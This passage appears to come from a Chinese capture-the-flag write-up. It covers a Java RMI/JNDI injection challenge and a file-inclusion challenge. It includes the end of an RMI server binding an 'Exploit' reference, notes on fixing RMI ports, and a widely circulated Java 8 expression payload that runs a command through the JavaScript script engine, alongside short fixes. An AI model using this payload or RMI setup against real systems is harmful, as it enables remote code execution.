        registry.bind("Exploit", referenceWrapper);  // 绑定目录名
        System.out.println("Server Started!");
    }

}

另外还有注意的一点是rmi在通信的过程中除了1099作为注册中心端口，还会随机再用一个端口来进行两个对象之间的通信，不想把防火墙全开的话，可以指定端口范围。

            // 设置自定义的 Socket 工厂，指定固定端口范围
            int startPort = 1100;
            int endPort = 1200;
            RMISocketFactory.setSocketFactory(new FixedPortRMISocketFactory(startPort, endPort));

成功弹计算器


另外，网上经常能找到这个payload
\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")
这个是适用于java8的，后续引入了模块机制，导致无法用反射访问getEngineByName

fix

直接注释掉lookup即可

simplegoods

fix

有个文件包含漏洞，直接ban了include就可以了

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